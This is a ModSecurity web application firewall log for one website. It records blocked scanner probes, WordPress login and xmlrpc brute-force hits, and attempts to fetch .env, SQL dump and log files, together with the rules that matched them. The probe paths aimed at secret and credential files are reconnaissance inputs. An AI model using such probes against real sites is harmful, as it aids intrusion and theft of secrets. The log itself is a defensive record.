[Thu Apr 23 05:26:13.576152 2026] [:error] [pid 25635:tid 25640] [client 135.181.213.219:23162] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aek89cRxv6UsgRGKB3KKgwAAAQE"]
[Thu Apr 23 05:26:15.592264 2026] [:error] [pid 25635:tid 25651] [client 135.181.213.219:23178] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aek898Rxv6UsgRGKB3KKhwAAAQw"]
[Thu Apr 23 05:26:17.658174 2026] [:error] [pid 42971:tid 43000] [client 135.181.213.219:23180] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aek8-TEP2_5RswrH8bF24AAAAA4"]
[Thu Apr 23 05:26:19.590918 2026] [:error] [pid 42972:tid 43016] [client 135.181.213.219:23188] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aek8-8OAb-3sOknsk4fptgAAAEA"]
[Thu Apr 23 05:26:21.561158 2026] [:error] [pid 42971:tid 42998] [client 135.181.213.219:36500] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aek8_TEP2_5RswrH8bF28gAAAAw"]
[Thu Apr 23 05:26:39.223992 2026] [:error] [pid 42973:tid 43054] [client 135.181.213.219:6156] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aek9D26I0QqmmmLTHE2dCAAAAIs"]
[Thu Apr 23 05:26:41.147126 2026] [:error] [pid 25635:tid 25654] [client 135.181.213.219:6488] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aek9EcRxv6UsgRGKB3KKxwAAAQ8"]
[Thu Apr 23 05:27:26.320651 2026] [:error] [pid 42973:tid 43058] [client 135.181.213.219:16062] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aek9Pm6I0QqmmmLTHE2dZQAAAI8"]
[Thu Apr 23 05:27:28.365286 2026] [:error] [pid 25635:tid 25646] [client 135.181.213.219:16078] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aek9QMRxv6UsgRGKB3KK-QAAAQc"]
[Thu Apr 23 05:27:30.390164 2026] [:error] [pid 25635:tid 25642] [client 135.181.213.219:3142] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aek9QsRxv6UsgRGKB3KK_gAAAQM"]
[Thu Apr 23 05:27:32.405954 2026] [:error] [pid 42973:tid 43052] [client 135.181.213.219:3154] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aek9RG6I0QqmmmLTHE2dbgAAAIk"]
[Thu Apr 23 05:27:34.445220 2026] [:error] [pid 25635:tid 25655] [client 135.181.213.219:3158] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aek9RsRxv6UsgRGKB3KLCQAAARA"]
[Thu Apr 23 05:27:36.449980 2026] [:error] [pid 25635:tid 25649] [client 135.181.213.219:3172] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aek9SMRxv6UsgRGKB3KLFwAAAQo"]
[Thu Apr 23 05:27:38.494612 2026] [:error] [pid 25635:tid 25643] [client 135.181.213.219:3180] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aek9SsRxv6UsgRGKB3KLIQAAAQQ"]
[Thu Apr 23 05:27:40.551887 2026] [:error] [pid 25635:tid 25661] [client 135.181.213.219:18904] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aek9TMRxv6UsgRGKB3KLJgAAARY"]
[Thu Apr 23 05:27:42.578034 2026] [:error] [pid 25635:tid 25643] [client 135.181.213.219:18908] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aek9TsRxv6UsgRGKB3KLLgAAAQQ"]
[Thu Apr 23 05:27:44.633394 2026] [:error] [pid 42972:tid 43029] [client 135.181.213.219:18924] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aek9UMOAb-3sOknsk4fp8gAAAE0"]
[Thu Apr 23 05:27:46.511050 2026] [:error] [pid 42973:tid 43044] [client 135.181.213.219:18934] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aek9Um6I0QqmmmLTHE2ddwAAAIE"]
[Thu Apr 23 05:27:48.520574 2026] [:error] [pid 42972:tid 43026] [client 135.181.213.219:18944] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aek9VMOAb-3sOknsk4fp-AAAAEo"]
[Thu Apr 23 05:27:50.535021 2026] [:error] [pid 42972:tid 43019] [client 135.181.213.219:1836] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aek9VsOAb-3sOknsk4fp-QAAAEM"]
[Thu Apr 23 05:27:52.545236 2026] [:error] [pid 25635:tid 25650] [client 135.181.213.219:1850] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aek9WMRxv6UsgRGKB3KLQAAAAQs"]
[Thu Apr 23 05:27:54.612967 2026] [:error] [pid 42972:tid 43033] [client 135.181.213.219:1856] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aek9WsOAb-3sOknsk4fp_QAAAFE"]
[Thu Apr 23 05:27:56.619133 2026] [:error] [pid 43083:tid 43108] [client 135.181.213.219:1870] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aek9XDC5hrvNXosL83KBgAAAANc"]
[Thu Apr 23 05:27:58.677659 2026] [:error] [pid 43083:tid 43104] [client 135.181.213.219:1882] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aek9XjC5hrvNXosL83KBhwAAANM"]
[Thu Apr 23 05:29:59.741691 2026] [:error] [pid 43083:tid 43092] [client 103.28.36.122:58518] [client 103.28.36.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek91zC5hrvNXosL83KCDwAAAMc"]
[Thu Apr 23 05:30:03.784671 2026] [:error] [pid 43083:tid 43107] [client 103.28.36.122:59432] [client 103.28.36.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aek92zC5hrvNXosL83KCEAAAANY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 05:39:12.065955 2026] [:error] [pid 42971:tid 43010] [client 194.156.90.107:41106] [client 194.156.90.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.156.90.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelAADEP2_5RswrH8bF5HAAAABg"]
[Thu Apr 23 05:39:15.252054 2026] [:error] [pid 42973:tid 43044] [client 194.156.90.107:41120] [client 194.156.90.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.156.90.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelAA26I0QqmmmLTHE2gPwAAAIE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 06:32:50.714637 2026] [:error] [pid 43083:tid 43088] [client 212.85.25.133:34596] [client 212.85.25.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.85.25.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelMkjC5hrvNXosL83KbmgAAAMM"]
[Thu Apr 23 06:54:07.359282 2026] [:error] [pid 25635:tid 25654] [client 51.120.123.241:58978] [client 51.120.123.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aelRj8Rxv6UsgRGKB3K8HwAAAQ8"]
[Thu Apr 23 06:54:07.359282 2026] [:error] [pid 42973:tid 43067] [client 51.120.123.241:58977] [client 51.120.123.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aelRj26I0QqmmmLTHE219wAAAJg"]
[Thu Apr 23 06:57:12.100866 2026] [:error] [pid 42971:tid 42996] [client 121.200.217.28:52600] [client 121.200.217.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.217.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelSSDEP2_5RswrH8bGHAgAAAAo"]
[Thu Apr 23 06:57:14.010193 2026] [:error] [pid 42971:tid 43001] [client 121.200.217.28:52600] [client 121.200.217.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 121.200.217.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelSSjEP2_5RswrH8bGHAwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 06:57:27.993549 2026] [:error] [pid 59700:tid 59712] [client 192.249.127.229:48267] [client 192.249.127.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.249.127.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelSV5XyGZJFeAIDWtk06wAAAUo"]
[Thu Apr 23 06:57:30.722030 2026] [:error] [pid 59700:tid 59716] [client 192.249.127.229:48267] [client 192.249.127.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.249.127.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelSWpXyGZJFeAIDWtk07wAAAU4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 07:19:37.787963 2026] [:error] [pid 42973:tid 43055] [client 103.172.92.25:35822] [client 103.172.92.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.92.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelXiW6I0QqmmmLTHE3LvAAAAIw"]
[Thu Apr 23 07:19:48.156679 2026] [:error] [pid 42973:tid 43052] [client 103.172.92.25:35822] [client 103.172.92.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.92.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelXlG6I0QqmmmLTHE3MNAAAAIk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 07:20:42.608804 2026] [:error] [pid 43083:tid 43089] [client 43.153.27.244:44956] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aelXyjC5hrvNXosL83K6kwAAAMQ"]
[Thu Apr 23 08:45:03.368760 2026] [:error] [pid 42971:tid 42989] [client 194.163.172.43:54014] [client 194.163.172.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.172.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelrjzEP2_5RswrH8bHFDgAAAAM"]
[Thu Apr 23 08:45:08.896604 2026] [:error] [pid 64967:tid 64978] [client 194.163.172.43:54018] [client 194.163.172.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.172.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aelrlIAV4GfOOdX8QzohqgAAAYk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 08:52:12.525967 2026] [:error] [pid 42972:tid 43029] [client 69.5.21.178:49674] [client 69.5.21.178] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/database.sql"] [unique_id "aeltPMOAb-3sOknsk4czRwAAAE0"]
[Thu Apr 23 08:52:12.643507 2026] [:error] [pid 42972:tid 43026] [client 69.5.21.178:49672] [client 69.5.21.178] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/logs/app.log"] [unique_id "aeltPMOAb-3sOknsk4czSAAAAEo"]
[Thu Apr 23 08:55:41.080468 2026] [:error] [pid 43083:tid 43096] [client 143.95.158.36:41386] [client 143.95.158.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.95.158.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeluDTC5hrvNXosL83L5fgAAAMs"]
[Thu Apr 23 08:55:43.954789 2026] [:error] [pid 65000:tid 65044] [client 143.95.158.36:14830] [client 143.95.158.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.95.158.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeluD76vRb9j6psK2ZbZtwAAAgs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 09:45:18.249882 2026] [:error] [pid 59700:tid 59711] [client 65.254.225.220:54596] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ael5rpXyGZJFeAIDWtmHmgAAAUk"]
[Thu Apr 23 09:45:20.159300 2026] [:error] [pid 59700:tid 59714] [client 65.254.225.220:54596] [client 65.254.225.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ael5sJXyGZJFeAIDWtmHngAAAUw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 10:25:29.408804 2026] [:error] [pid 42973:tid 43061] [client 15.235.159.113:55344] [client 15.235.159.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.159.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemDGW6I0QqmmmLTHE0ZSgAAAJI"]
[Thu Apr 23 10:25:31.394840 2026] [:error] [pid 42973:tid 43058] [client 15.235.159.113:55344] [client 15.235.159.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.159.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemDG26I0QqmmmLTHE0ZVAAAAI8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 10:34:09.468824 2026] [:error] [pid 46953:tid 46964] [client 109.177.84.47:53253] [client 109.177.84.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.177.84.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemFIUnlpdHh-P6wKbraDAAAAkg"]
[Thu Apr 23 10:34:19.929312 2026] [:error] [pid 42972:tid 43025] [client 109.177.84.47:53685] [client 109.177.84.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.177.84.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemFK8OAb-3sOknsk4dUOQAAAEk"]
[Thu Apr 23 10:34:30.401663 2026] [:error] [pid 42972:tid 43019] [client 109.177.84.47:53965] [client 109.177.84.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.177.84.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemFNsOAb-3sOknsk4dUTgAAAEM"]
[Thu Apr 23 10:34:40.864634 2026] [:error] [pid 64967:tid 64977] [client 109.177.84.47:54237] [client 109.177.84.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.177.84.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemFQIAV4GfOOdX8Qzo_YAAAAYg"]
[Thu Apr 23 10:34:51.368563 2026] [:error] [pid 42972:tid 43030] [client 109.177.84.47:54515] [client 109.177.84.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.177.84.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemFS8OAb-3sOknsk4dUbQAAAE4"]
[Thu Apr 23 11:20:37.752143 2026] [:error] [pid 42972:tid 43039] [client 139.162.5.185:37142] [client 139.162.5.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.5.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemQBcOAb-3sOknsk4doDgAAAFc"]
[Thu Apr 23 11:20:39.723546 2026] [:error] [pid 42972:tid 43027] [client 139.162.5.185:37142] [client 139.162.5.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.5.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemQB8OAb-3sOknsk4doEwAAAEs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 11:26:30.875128 2026] [:error] [pid 65000:tid 65037] [client 217.165.0.195:57522] [client 217.165.0.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemRZr6vRb9j6psK2ZZKEAAAAgQ"]
